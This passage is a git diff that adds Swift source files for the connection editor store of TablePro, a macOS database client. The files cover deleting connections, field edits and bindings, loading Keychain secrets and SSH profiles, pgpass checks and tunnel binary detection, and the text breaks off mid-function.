b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift new file mode 100644 index 0000000000..949868fb0d --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift @@ -0,0 +1,88 @@ +// +// ConnectionEditorStore+Delete.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary + +struct ConnectionDeleteConfirmation: Equatable { + let connectionName: String + let deletesLinkedSavedQueries: Bool + + var title: String { String(localized: "Delete Connection") } + + var message: String { + if deletesLinkedSavedQueries { + return String( + format: String(localized: "Are you sure you want to delete \"%@\"? Saved queries linked to this connection will also be deleted."), + connectionName + ) + } + return String(format: String(localized: "Are you sure you want to delete \"%@\"?"), connectionName) + } +} + +enum ConnectionEditorDeleteError: Error, Equatable, LocalizedError { + case notSaved + case libraryUnreadable + case recordMissing + case writeFailed + + var errorDescription: String? { + switch self { + case .notSaved: + return String(localized: "This connection has not been saved yet.") + case .libraryUnreadable: + return String(localized: "TablePro could not read your saved connections, so it did not save over them.") + case .recordMissing: + return String(localized: "This connection was deleted on another device or window.") + case .writeFailed: + return String(localized: "The change could not be saved. Check disk space and permissions, then try again.") + } + } +} + +extension ConnectionEditorStore { + var canDelete: Bool { !isNew && !isRecordMissing } + + // The same warning Welcome gives: linked saved queries go with the connection. + func deleteConfirmation() async -> ConnectionDeleteConfirmation { + let name = baseline.name.isEmpty ? windowTitle : baseline.name + let hasQueries = isNew ? false : await services.sqlFavoriteManager.hasFavorites(for: [connectionId]) + return ConnectionDeleteConfirmation(connectionName: name, deletesLinkedSavedQueries: hasQueries) + } + + // Reports a failed write instead of closing over it, and cleans up what Welcome's delete cleans up. + @discardableResult + func delete() -> Result { + let result = performDelete() + if case .failure(let error) = result { + deleteError = error + } else { + deleteError = nil + } + return result + } + + private func performDelete() -> Result { + guard !isNew else { return .failure(.notSaved) } + guard !storage.isLibraryUnreadable else { return .failure(.libraryUnreadable) } + guard let record = storage.loadConnection(id: connectionId) else { return .failure(.recordMissing) } + guard storage.deleteConnection(record) else { return .failure(.writeFailed) } + isClosing = true + cancelTest() + for receipt in Array(pendingTestReceipts.values) { + cleanupTestSecrets(receipt) + } + recentConnections.remove([connectionId]) + listPreferences.setFavoritesOrder( + LibraryOrdering.favoritesOrder(listPreferences.favoritesOrder, removing: [connectionId]) + ) + hasUnsavedChanges = false + dismissAction?() + services.appEvents.connectionUpdated.send(connectionId) + return .success(()) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift new file mode 100644 index 0000000000..64fd8f6d67 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift @@ -0,0 +1,522 @@ +// +// ConnectionEditorStore+Edits.swift +// TablePro +// + +import Foundation +import SwiftUI +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +extension ConnectionEditorStore { + // MARK: - Type + + func proposeRetype(to type: DatabaseType) -> RetypeProposal { + let newTraits = ConnectionTypeTraits.live(for: type, pluginManager: services.pluginManager) + return draft.retyped(to: newTraits, from: traits) + } + + // The chooser's callback: applies at once when nothing is lost, else asks through `pendingRetype`. + func requestRetype(to type: DatabaseType) { + isChoosingType = false + guard type != draft.type else { return } + let proposal = proposeRetype(to: type) + if proposal.needsConfirmation { + pendingRetype = proposal + } else { + retype(to: type) + } + } + + func confirmPendingRetype() { + guard let proposal = pendingRetype else { return } + pendingRetype = nil + if let pending = pendingPastedURL { + pendingPastedURL = nil + applyPasted(pending.parsed, snapshot: pending.snapshot, retypeTo: proposal.to) + return + } + retype(to: proposal.to) + } + + func cancelPendingRetype() { + pendingRetype = nil + pendingPastedURL = nil + } + + // A running test is for the old type: it is cancelled, and its receipt cleans up what it wrote. + func retype(to type: DatabaseType) { + guard type != draft.type else { return } + cancelTest() + let newTraits = ConnectionTypeTraits.live(for: type, pluginManager: services.pluginManager) + let next = draft.retyped(to: newTraits, from: traits).result + traits = newTraits + commit(next) + } + + // MARK: - Coupled edits + + func setPort(_ text: String) { + update { $0.setPort(text, traits: traits) } + } + + func selectSSLMode(_ mode: SSLMode) { + update { $0.selectSSLMode(mode) } + } + + func selectTransport(_ transport: ConnectionTunnelKind?) { + update { $0.selectTransport(transport) } + } + + func selectEndpoint(_ endpoint: ConnectionDraft.Endpoint) { + update { $0.selectEndpoint(endpoint) } + } + + func setPasswordPrompt(_ prompts: Bool) { + update { $0.setPasswordPrompt(prompts, traits: traits) } + } + + func setCredentialMode(_ mode: CredentialMode) { + update { $0.setCredentialMode(mode) } + } + + func switchToInlineCredentials() { + setCredentialMode(.inline) + } + + func setEnvironment(_ environment: ConnectionEnvironment) { + update { $0.setEnvironment(environment) } + } + + func setSafeModeLevel(_ level: SafeModeLevel) { + let floor = safeModeFloor + update { $0.setSafeModeLevel(level, floor: floor) } + } + + func setManualCommit(_ enabled: Bool) { + update { $0.setManualCommit(enabled, traits: traits) } + } + + func setFieldValue(_ value: String, for fieldID: String) { + update { $0.setFieldValue(value, for: fieldID) } + } + + func forgetAlwaysAllowed(_ tool: String) { + update { $0.forgetAlwaysAllowed(tool) } + } + + @discardableResult + func addMaskingRule() -> UUID { + var id = UUID() + update { id = $0.addMaskingRule() } + return id + } + + func removeMaskingRule(id: UUID) { + update { $0.removeMaskingRule(id: id) } + } + + func updateMaskingRule(_ rule: MaskingRule) { + update { $0.updateMaskingRule(rule) } + } + + func selectSSHProfile(_ id: UUID?) { + let profiles = context.sshProfiles + update { $0.selectSSHProfile(id, profiles: profiles) } + } + + func switchSSHProfileToInline() { + selectSSHProfile(nil) + } + + func selectSSHConfigHost(_ host: String) { + update { $0.selectSSHConfigHost(host) } + } + + @discardableResult + func addJumpHost() -> UUID { + var id = UUID() + update { id = $0.addJumpHost() } + return id + } + + func removeJumpHost(id: UUID) { + update { $0.removeJumpHost(id: id) } + } + + func updateJumpHost(_ jumpHost: SSHJumpHost) { + update { $0.updateJumpHost(jumpHost) } + } + + func moveJumpHosts(fromOffsets source: IndexSet, toOffset destination: Int) { + update { $0.moveJumpHosts(fromOffsets: source, toOffset: destination) } + } + + // MARK: - Profiles + + var selectedCredentialProfile: CredentialProfile? { + context.credentialProfile(draft.credentials.mode.profileId) + } + + var credentialProfileIsMissing: Bool { + ConnectionEditorEngine.credentialProfileIsMissing(draft, context) && !context.credentialProfilesLoadFailed + } + + var hasPromotableCredentials: Bool { + !draft.credentials.username.trimmingCharacters(in: .whitespaces).isEmpty + || !draft.credentials.password.isEmpty + || ConnectionEditorEngine.effectivePromptForPassword(draft, traits) + || draft.credentials.passwordSource != nil + } + + // Promoting what is filled in beats retyping it; a source survives only from a file TablePro last wrote. + func credentialProfileFromCurrentCredentials() -> CredentialProfile { + let mode: CredentialPasswordMode + if ConnectionEditorEngine.effectivePromptForPassword(draft, traits) { + mode = .prompt + } else if let source = draft.credentials.passwordSource { + mode = storage.storeIsTrusted ? .source(source) : .prompt + } else if ConnectionEditorEngine.usesPgpass(draft, traits) { + mode = .pgpass + } else { + mode = .stored + } + return CredentialProfile( + name: "", + username: draft.credentials.username.trimmingCharacters(in: .whitespaces), + passwordMode: mode + ) + } + + func presentSaveCredentialsAsProfile() { + guard !draft.credentials.usesProfile, hasPromotableCredentials else { return } + credentialProfileToSave = credentialProfileFromCurrentCredentials() + } + + func didSaveCredentialProfile(_ profile: CredentialProfile) { + credentialProfileToSave = nil + refreshContext() + setCredentialMode(.profile(id: profile.id)) + } + + var selectedSSHProfile: SSHProfile? { + context.sshProfile(draft.ssh.profileId) + } + + var sshProfileIsUnresolved: Bool { + ConnectionEditorEngine.sshProfileIsUnresolved(draft, context) + } + + var canSaveSSHAsProfile: Bool { + draft.ssh.profileId == nil && draft.usesSSHServer && !draft.ssh.host.isEmpty + } + + func sshProfileFromInline() -> SSHProfile { + let ssh = draft.ssh + return SSHProfile( + name: "", + host: ssh.host, + port: ConnectionEditorEngine.parsePort(ssh.port), + username: ssh.username, + authMethod: ssh.authMethod, + privateKeyPath: ssh.privateKeyPath, + agentSocketPath: ssh.resolvedAgentSocketPath, + jumpHosts: ssh.jumpHosts, + totpMode: ssh.totpMode, + totpAlgorithm: ssh.totpAlgorithm, + totpDigits: ssh.totpDigits, + totpPeriod: ssh.totpPeriod + ) + } + + func presentSSHProfileCreation() { + sshProfileSheet = .create + } + + func presentSSHProfileEditing() { + guard let profile = selectedSSHProfile else { return } + sshProfileSheet = .edit(profile) + } + + func presentSaveSSHAsProfile() { + guard canSaveSSHAsProfile else { return } + sshProfileSheet = .saveCurrent(sshProfileFromInline()) + } + + // A profile saved from the inline values is linked at once; a create or an edit only refreshes the list. + func didSaveSSHProfile(_ profile: SSHProfile) { + let linksSaved: Bool + if case .saveCurrent = sshProfileSheet { linksSaved = true } else { linksSaved = false } + sshProfileSheet = nil + refreshContext() + if linksSaved { + selectSSHProfile(profile.id) + } + } + + func didDeleteSSHProfile() { + sshProfileSheet = nil + refreshContext() + } + + // MARK: - Derived values for rows + + var availableTransports: [ConnectionTunnelKind?] { + ConnectionEditorEngine.availableTransports(draft, traits) + } + + var offeredSSLModes: [SSLMode] { + ConnectionEditorEngine.offeredSSLModes(draft, traits) + } + + var safeModeFloor: SafeModeFloor? { + ConnectionEditorEngine.safeModeFloor(draft, traits, context) + } + + var effectiveSafeModeLevel: SafeModeLevel { + ConnectionEditorEngine.effectiveSafeModeLevel(draft, traits, context) + } + + var allowedSafeModeLevels: [SafeModeLevel] { + SafeModeFloor.levels(allowedBy: safeModeFloor) + } + + var effectiveManualCommit: Bool { + ConnectionEditorEngine.effectiveManualCommit(draft, traits) + } + + var usesLocalSocket: Bool { + ConnectionEditorEngine.usesLocalSocket(draft, traits) + } + + var localSocketEndpoint: ConnectionEditorEngine.SocketEndpoint? { + ConnectionEditorEngine.localSocketEndpoint(draft, traits) + } + + // Advisory only: the server may start after the connection is saved. + var localSocketFileStatus: SocketFileStatus? { + guard let endpoint = localSocketEndpoint, endpoint.issue == nil else { return nil } + return SocketFileStatus.of(path: endpoint.socketFile) + } + + // Advisory only: the SSH server is the authority on whether the path resolves. + var sshForwardSocketPathAdvice: SSHForwardSocketAdvice? { + SSHForwardSocketAdvice.of(path: draft.sshForwardUnixSocketPath) + } + + var hostAndPortAreUnused: Bool { + isDisabled(.builtIn(.port)) + } + + func isDisabled(_ row: EditorRow) -> Bool { + layout.disabledRows.contains(row) + } + + var portTLSNotice: PortTLSNotice? { + guard ConnectionEditorEngine.showsPortTLSNotice(draft, traits) else { return nil } + let port = ConnectionEditorEngine.resolvedPort(draft, traits) + guard let implied = traits.ssl.impliedMode(forPort: port) else { return nil } + return PortTLSNotice(port: port, impliedMode: implied, sslModeIsDisabled: draft.ssl.mode == .disabled) + } + + var transportSummary: String { + ConnectionEditorEngine.transportSummary(draft, traits) + } + + var tunnelCommandPreview: String? { + let endpoint = testRecord(testId: connectionId).tunnelForwardEndpoint + return TunnelCommandBuilder.previewCommand( + for: draft.tunnelCommand.trimmedConfiguration, + remoteHost: endpoint.host, + remotePort: endpoint.port + ) + } + + // What a password source sees for the values in the form, saved or not. + func passwordSourceContext() -> ConnectionScriptContext { + ConnectionScriptContext(connection: testRecord(testId: connectionId)) + } + + func pluginField(_ fieldID: String) -> ConnectionField? { + traits.field(fieldID) + } + + func pluginFieldKind(_ fieldID: String) -> PluginFieldKind? { + guard let field = traits.field(fieldID) else { return nil } + return PluginFieldKind(field: field, traits: traits) + } + + // MARK: - Bindings + + func binding(_ keyPath: WritableKeyPath) -> Binding { + Binding( + get: { self.draft[keyPath: keyPath] }, + set: { newValue in self.update { $0[keyPath: keyPath] = newValue } } + ) + } + + func pluginFieldBinding(_ fieldID: String) -> Binding { + Binding( + get: { self.draft.fieldValues[fieldID] ?? self.traits.field(fieldID)?.defaultValue ?? "" }, + set: { self.setFieldValue($0, for: fieldID) } + ) + } + + var portBinding: Binding { + Binding(get: { self.draft.portText }, set: { self.setPort($0) }) + } + + func hostBinding(undoManager: UndoManager?) -> Binding { + Binding(get: { self.draft.host }, set: { self.setHost($0, undoManager: undoManager) }) + } + + var sslModeBinding: Binding { + Binding(get: { self.draft.ssl.mode }, set: { self.selectSSLMode($0) }) + } + + var transportBinding: Binding { + Binding(get: { self.draft.transport }, set: { self.selectTransport($0) }) + } + + var endpointBinding: Binding { + Binding(get: { self.draft.endpoint }, set: { self.selectEndpoint($0) }) + } + + var passwordPromptBinding: Binding { + Binding(get: { self.draft.credentials.promptsForPassword }, set: { self.setPasswordPrompt($0) }) + } + + var credentialModeBinding: Binding { + Binding(get: { self.draft.credentials.mode }, set: { self.setCredentialMode($0) }) + } + + var environmentBinding: Binding { + Binding(get: { self.draft.environment }, set: { self.setEnvironment($0) }) + } + + var safeModeLevelBinding: Binding { + Binding(get: { self.effectiveSafeModeLevel }, set: { self.setSafeModeLevel($0) }) + } + + var manualCommitBinding: Binding { + Binding(get: { self.effectiveManualCommit }, set: { self.setManualCommit($0) }) + } + + var sshProfileBinding: Binding { + Binding(get: { self.draft.ssh.profileId }, set: { self.selectSSHProfile($0) }) + } + + var sshConfigHostBinding: Binding { + Binding(get: { self.draft.ssh.selectedConfigHost }, set: { self.selectSSHConfigHost($0) }) + } + + func jumpHostBinding(_ id: UUID) -> Binding { + Binding( + get: { self.draft.ssh.jumpHosts.first { $0.id == id } ?? SSHJumpHost(id: id) }, + set: { self.updateJumpHost($0) } + ) + } + + func maskingRuleBinding(_ id: UUID) -> Binding { + Binding( + get: { self.draft.safety.maskingRules.first { $0.id == id } ?? MaskingRule(id: id, pattern: "") }, + set: { self.updateMaskingRule($0) } + ) + } +} + +struct PortTLSNotice: Equatable { + let port: Int + let impliedMode: SSLMode + let sslModeIsDisabled: Bool + + var message: String { + if sslModeIsDisabled { + return String(format: String(localized: "Port %lld usually requires TLS, and SSL Mode is Disabled."), Int64(port)) + } + return String(format: String(localized: "Port %lld uses TLS, so SSL Mode is %@."), Int64(port), impliedMode.displayLabel) + } + + var actionTitle: String? { + sslModeIsDisabled ? String(format: String(localized: "Use %@"), impliedMode.displayLabel) : nil + } +} + +enum SocketFileStatus: Equatable { + case missing + case notSocket + case socket + + // stat, not attributesOfItem, which reports a symlink to the socket as a symlink. + static func of(path: String) -> SocketFileStatus? { + var info = stat() + guard stat(path, &info) == 0 else { + return errno == ENOENT || errno == ENOTDIR ? .missing : nil + } + return info.st_mode & S_IFMT == S_IFSOCK ? .socket : .notSocket + } +} + +// `ssh -L` needs the socket file itself, while libpq names the directory holding it. +enum SSHForwardSocketAdvice: Equatable { + case notAbsolute + case looksLikeDirectory + + static func of(path rawPath: String) -> SSHForwardSocketAdvice? { + let path = rawPath.trimmingCharacters(in: .whitespaces) + guard !path.isEmpty else { return nil } + guard path.hasPrefix("/") else { return .notAbsolute } + return path.hasSuffix("/") ? .looksLikeDirectory : nil + } +} + +enum PluginFieldKind: Equatable { + case text + case secure + case dropdown([ConnectionField.DropdownOption]) + case number + case toggle + case stepper(ClosedRange) + case hostList + case attachedDatabases + case loadableExtensions + case localDatabaseFile + case filePath + case awsProfile + + init(field: ConnectionField, traits: ConnectionTypeTraits) { + switch field.content { + case .attachedDatabases: + self = .attachedDatabases + return + case .loadableExtensions: + self = .loadableExtensions + return + case .plain: + break + @unknown default: + break + } + if traits.localFilePathField == .additionalField(field.id) { + self = .localDatabaseFile + return + } + switch field.fieldType { + case .text: + if field.dynamicOptions == .awsProfiles { + self = .awsProfile + } else if field.id.hasSuffix("FilePath") { + self = .filePath + } else { + self = .text + } + case .secure: self = .secure + case .dropdown(let options): self = .dropdown(options) + case .number: self = .number + case .toggle: self = .toggle + case .stepper(let range): self = .stepper(range.closedRange) + case .hostList: self = .hostList + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift new file mode 100644 index 0000000000..246fef1ed7 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -0,0 +1,340 @@ +// +// ConnectionEditorStore+Load.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport +import TableProUtilities + +extension ConnectionEditorStore { + func load(_ request: Request) { + context = makeContext() + switch request { + case .new(_, let parsedURL): + baseline = draft + dirtyBaseline = dirtyFingerprint() + if let parsedURL { + var imported = draft + imported.apply(parsedURL, traits: traits, policy: .newConnection) + draft = ConnectionEditorEngine.normalized(imported, traits) + } + case .edit(let id): + isLibraryUnreadable = storage.isLibraryUnreadable + guard let record = storage.loadConnection(id: id) else { + isRecordMissing = !isLibraryUnreadable + baseline = draft + refreshDerivedState() + return + } + traits = ConnectionTypeTraits.live(for: record.type, pluginManager: services.pluginManager) + originalTraits = traits + context.originalType = record.type + context.savedName = record.name + context.participatesInSync = record.participatesInSync + var secrets = DraftSecrets() + let reads = storage.recordingSecretReads { + secrets = readSecrets(of: record) + } + unreadableSecretKeys = reads.unreadable + loadedSecrets = reads.loaded + draft = ConnectionDraft.loaded(from: record, secrets: secrets, traits: traits) + baseline = draft + loadedRecord = record + baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + dirtyBaseline = dirtyFingerprint() + } + refreshDerivedState() + loadSSHConfigEntries() + } + + func readSecrets(of record: DatabaseConnection) -> DraftSecrets { + let id = record.id + var secrets = DraftSecrets() + secrets.passwordState = storage.passwordState(for: id) + secrets.password = storage.loadPassword(for: id) + if case .profile(let profileId, _) = record.sshTunnelMode { + // Shown so a switch to Inline Configuration carries them; the connection's own namespace stays as it is. + let profiles = services.sshProfileStorage + secrets.sshPassword = profiles.loadSSHPassword(for: profileId) + secrets.sshKeyPassphrase = profiles.loadKeyPassphrase(for: profileId) + secrets.totpSecret = profiles.loadTOTPSecret(for: profileId) + } else { + secrets.sshPasswordState = storage.sshPasswordState(for: id) + secrets.sshKeyPassphraseState = storage.keyPassphraseState(for: id) + secrets.sshPassword = storage.loadSSHPassword(for: id) + secrets.sshKeyPassphrase = storage.loadKeyPassphrase(for: id) + secrets.totpSecret = storage.loadTOTPSecret(for: id) + } + secrets.sslClientKeyPassphrase = storage.loadSSLClientKeyPassphrase(for: id) + secrets.cloudflareTokenId = storage.loadCloudflareTokenId(for: id) + secrets.cloudflareTokenSecret = storage.loadCloudflareTokenSecret(for: id) + secrets.cloudSQLServiceAccountKey = storage.loadCloudSQLProxyServiceAccountKey(for: id) + secrets.socksPassword = storage.loadSOCKSProxyPassword(for: id) + for fieldId in traits.declaredSecureFieldIds { + var value: String? + let reads = storage.recordingSecretReads { + value = storage.loadPluginSecureField(fieldId: fieldId, for: id) + } + // A stored item wins over a plain-text copy an unfinished Keychain migration left, as the migration rules. + if (value ?? "").isEmpty, reads.unreadable.isEmpty, + let plaintext = record.additionalFields[fieldId], !plaintext.isEmpty { + secrets.pluginSecureFields[fieldId] = plaintext + } else if let value { + secrets.pluginSecureFields[fieldId] = value + } + } + return secrets + } + + func makeContext() -> EditorContext { + var context = EditorContext() + context.isNew = isNew + context.originalType = self.context.originalType + context.savedName = self.context.savedName + context.participatesInSync = self.context.participatesInSync + context.aiEnabled = services.appSettings.ai.enabled + context.syncEnabled = services.appSettings.sync.enabled + context.managedSafeModeMinimum = ManagedPolicyResolver.minimumSafeModeLevel(policy: managedPolicy) + let credentialStorage = services.credentialProfileStorage + context.credentialProfiles = credentialStorage.loadProfiles() + context.credentialProfilesLoadFailed = credentialStorage.lastLoadFailed + let sshStorage = services.sshProfileStorage + context.sshProfiles = sshStorage.loadProfiles() + context.sshProfilesLoadFailed = sshStorage.lastLoadFailed + context.sshConfigEntries = self.context.sshConfigEntries + return context + } + + func refreshContext() { + context = makeContext() + refreshDerivedState() + } + + // The config parse runs off the main thread; the matching host is picked once the entries arrive. + func loadSSHConfigEntries() { + Task { [weak self] in + let entries = await Task.detached { SSHConfigParser.parse() }.value + guard let self, !self.isClosing else { return } + self.context.sshConfigEntries = entries + if self.draft.ssh.selectedConfigHost.isEmpty, let match = entries.first(where: { $0.host == self.draft.ssh.host }) { + var next = self.draft + next.ssh.selectedConfigHost = match.host + self.baseline.ssh.selectedConfigHost = match.host + self.commit(next) + } else { + self.refreshDerivedState() + } + } + } + + // MARK: - Listeners + + // Owned here, not by a view: a facet that is not on screen still needs every one of these. + func subscribe() { + NotificationCenter.default.publisher(for: .credentialProfilesDidChange) + .sink { [weak self] _ in + MainActor.assumeIsolated { self?.credentialProfilesDidChange() } + } + .store(in: &cancellables) + NotificationCenter.default.publisher(for: .sshProfilesDidChange) + .sink { [weak self] _ in + MainActor.assumeIsolated { self?.sshProfilesDidChange() } + } + .store(in: &cancellables) + services.appEvents.connectionUpdated + .sink { [weak self] id in + MainActor.assumeIsolated { self?.connectionDidUpdate(id) } + } + .store(in: &cancellables) + cloudSQLProxyDownload.$phase + .sink { [weak self] phase in + MainActor.assumeIsolated { self?.cloudSQLProxyDownloadDidChange(phase) } + } + .store(in: &cancellables) + services.appSettings.aiSlice.publisher.map(\.enabled).removeDuplicates() + .combineLatest(services.appSettings.syncSlice.publisher.map(\.enabled).removeDuplicates()) + .dropFirst() + .sink { [weak self] aiEnabled, syncEnabled in + MainActor.assumeIsolated { + guard let self else { return } + self.context.aiEnabled = aiEnabled + self.context.syncEnabled = syncEnabled + self.refreshDerivedState() + } + } + .store(in: &cancellables) + } + + // Storage has already handed a dead profile's credentials to the connection inline, so keeping the id would undo that. + func credentialProfilesDidChange() { + refreshContext() + guard !context.credentialProfilesLoadFailed, + let profileId = draft.credentials.mode.profileId, + context.credentialProfile(profileId) == nil + else { return } + var next = draft + next.credentials.mode = .inline + if !isNew, let refreshed = storage.loadConnection(id: connectionId) { + let reads = storage.recordingSecretReads { + next.credentials.username = refreshed.username + next.credentials.promptsForPassword = refreshed.promptForPassword + next.credentials.passwordSource = refreshed.passwordSource + next.credentials.storedPasswordState = storage.passwordState(for: refreshed.id) + next.credentials.password = storage.loadPassword(for: refreshed.id) ?? "" + } + if traits.field(ConnectionEditorEngine.pgpassFieldId) != nil { + next.fieldValues[ConnectionEditorEngine.pgpassFieldId] = refreshed.usePgpass ? "true" : "false" + } + unreadableSecretKeys.formUnion(reads.unreadable) + loadedSecrets.merge(reads.loaded) { _, fresh in fresh } + // Test builds on the loaded record, and the edits never carry the source, so it takes the same hand-over. + loadedRecord?.takeSignIn(from: refreshed) + } + commit(next) + } + + // Storage turns a deleted profile's links inline with its secrets: adopt that. A profile never on this Mac stays linked. + func sshProfilesDidChange() { + refreshContext() + guard !context.sshProfilesLoadFailed, + let profileId = draft.ssh.profileId, + context.sshProfile(profileId) == nil, + !isNew, + let refreshed = storage.loadConnection(id: connectionId), + !refreshed.isLinked(toSSHProfile: profileId), + case .inline(let config) = refreshed.sshTunnelMode + else { return } + var next = draft + next.ssh.profileId = nil + next.ssh.profileSnapshot = nil + next.ssh.populateFields(from: config, configEntries: context.sshConfigEntries) + let reads = storage.recordingSecretReads { + next.ssh.storedPasswordState = storage.sshPasswordState(for: connectionId) + next.ssh.storedKeyPassphraseState = storage.keyPassphraseState(for: connectionId) + next.ssh.adoptKeychainSecrets( + password: storage.loadSSHPassword(for: connectionId), + keyPassphrase: storage.loadKeyPassphrase(for: connectionId), + totpSecret: storage.loadTOTPSecret(for: connectionId) + ) + } + unreadableSecretKeys.formUnion(reads.unreadable) + loadedSecrets.merge(reads.loaded) { _, fresh in fresh } + commit(next) + } + + // The baseline stays where load put it: moving it would make every untouched field look edited and revert the change. + func connectionDidUpdate(_ id: UUID?) { + guard !isClosing, !isNew, id == nil || id == connectionId else { return } + if !storage.isLibraryUnreadable, storage.loadConnection(id: connectionId) == nil { + isRecordMissing = true + cancelTest() + } + refreshContext() + } + + // MARK: - Detection + + // Runs when the transport is picked, for a new connection as much as a stored one. + func startBinaryDetectionIfNeeded() { + if draft.transport == .cloudflare, cloudflaredDetection == .notChecked { + detectCloudflared() + } + if draft.transport == .cloudSQLProxy, cloudSQLProxyDetection == .notChecked { + detectCloudSQLProxy() + } + } + + func detectCloudflared() { + cloudflaredDetection = .checking + Task { [weak self] in + let path = await Task.detached { CLIExecutableFinder.findExecutable("cloudflared") }.value + self?.cloudflaredDetection = path.map(BinaryDetection.found) ?? .notFound + } + } + + func detectCloudSQLProxy() { + cloudSQLProxyDetection = .checking + let binaryManager = cloudSQLProxyDownload.binaryManager + Task { [weak self] in + let found = await Task.detached { CLIExecutableFinder.findExecutable("cloud-sql-proxy") }.value + var path = found + if path == nil, await binaryManager.installedBinaryIsCurrent() { + path = binaryManager.binaryExecutablePath + } + self?.cloudSQLProxyDetection = path.map(BinaryDetection.found) ?? .notFound + } + } + + // A connect or a Test can download the binary too, so this follows the shared download. + func cloudSQLProxyDownloadDidChange(_ phase: CloudSQLProxyDownload.Phase) { + cloudSQLProxyDownloadPhase = phase + if phase == .idle, wasDownloadingCloudSQLProxy { + detectCloudSQLProxy() + } + wasDownloadingCloudSQLProxy = phase.isDownloading + } + + func downloadCloudSQLProxy() { + cloudSQLProxyDownload.start() + } + + func cancelCloudSQLProxyDownload() { + cloudSQLProxyDownload.cancel() + } + + // MARK: - pgpass + + func refreshPgpassStatus() { + guard ConnectionEditorEngine.usesPgpass(draft, traits) else { + pgpassLookup = nil + if pgpassStatus != .notChecked { + pgpassStatus = .notChecked + } + return + } + let lookup = currentPgpassLookup() + guard lookup != pgpassLookup else { return } + pgpassLookup = lookup + pgpassStatus = PgpassStatus.check( + host: lookup.host, + port: lookup.port, + database: lookup.database, + username: lookup.username + ) + } + + private func currentPgpassLookup() -> PgpassLookup { + let host: String + let port: Int + if traits.localSocketIsDirectory, let socket = ConnectionEditorEngine.localSocketEndpoint(draft, traits) { + host = PostgreSQLLocalSocket.pgpassHost(forHost: socket.path) + port = socket.port + } else { + host = PostgreSQLLocalSocket.pgpassHost(forHost: ConnectionEditorEngine.resolvedHost(draft, traits)) + port = ConnectionEditorEngine.resolvedPort(draft, traits) + } + return PgpassLookup( + host: host, + port: port, + database: draft.database, + username: PgpassReader.effectiveUsername(draft.credentials.username.trimmingCharacters(in: .whitespaces)) + ) + } +} + +private extension DatabaseConnection { + // What CredentialProfileStorage.unlinkConnections writes onto a connection whose profile is deleted. + mutating func takeSignIn(from other: DatabaseConnection) { + credentialMode = other.credentialMode + username = other.username + passwordSource = other.passwordSource + for key in ["promptForPassword", ConnectionEditorEngine.pgpassFieldId] { + additionalFields[key] = other.additionalFields[key] + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift new file mode 100644 index 0000000000..9b15102da9 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Options.swift @@ -0,0 +1,46 @@ +import Foundation +import TableProPluginKit + +extension ConnectionEditorStore { + // Startup commands run in the driver's own query language, so SQL copy and highlighting fit only an SQL engine. + var startupCommandsAreSQL: Bool { + services.pluginManager.editorLanguage(for: draft.type) == .sql + } + + // Nil until this connection is open as the type the form shows. + var liveDriverRunsReadOnly: Bool? { + guard let driver = services.databaseManager.driver(for: connectionId), driver.connection.type == draft.type else { + return nil + } + return driver.runsReadOnlyStatements + } + + var externalClientsReadOnlyNote: String? { + guard draft.ai.externalAccess == .readOnly else { return nil } + return ReadOnlyEnforcement.externalClientsNote(for: draft.type, liveDriverRunsReadOnly: liveDriverRunsReadOnly) + } +} + +enum QueryTimeoutInheritance { + // The field is narrow, so words go in the subtitle and the prompt stays short. + static func prompt(globalSeconds: Int) -> String { + let seconds = inheritedSeconds(globalSeconds: globalSeconds) + guard seconds > 0 else { return String(localized: "No limit") } + return String(format: String(localized: "Global (%d)"), seconds) + } + + static func subtitle(globalSeconds: Int, locale: Locale = .autoupdatingCurrent) -> String { + let seconds = inheritedSeconds(globalSeconds: globalSeconds) + guard seconds > 0 else { + return String(localized: "Leave blank to use Settings > Connections: no limit.") + } + let duration = Duration.seconds(seconds).formatted( + .units(allowed: [.hours, .minutes, .seconds], width: .wide).locale(locale) + ) + return String(format: String(localized: "Leave blank to use Settings > Connections: %@."), duration) + } + + static func inheritedSeconds(globalSeconds: Int) -> Int { + ConnectionTimeoutPolicy.effectiveQueryTimeoutSeconds(configuredSeconds: nil, globalSeconds: globalSeconds) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift new file mode 100644 index 0000000000..7b8f298b61 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+SSHAndProxies.swift @@ -0,0 +1,65 @@ +// +// ConnectionEditorStore+SSHAndProxies.swift +// TablePro +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig + +enum JumpHostField: Hashable { + case host + case port + case keyFile +} + +extension ConnectionEditorStore { + // An SSH tunnel forwards one endpoint, so a host list in General reaches its first host only. + var tunnelHostListAdvice: String? { + guard draft.transport == .ssh, + let field = ConnectionEditorEngine.visibleHostListFields(draft, traits).first else { return nil } + let hosts = draft.fieldValues[field.id] ?? field.defaultValue ?? "" + return TunnelHostListAdvice.message(fieldId: field.id, hosts: hosts) + } + + // A file database offers only where the file lives, so the picker reads as a location, not a transport. + var transportIsLocationChoice: Bool { + traits.supportsRemoteDatabaseFile && availableTransports.allSatisfy { $0 == nil || $0 == .remoteFile } + } + + // The engine flags a whole hop; this is the field it still lacks, in the order SSHJumpHost.isValid checks. + func missingJumpHostField(_ id: UUID) 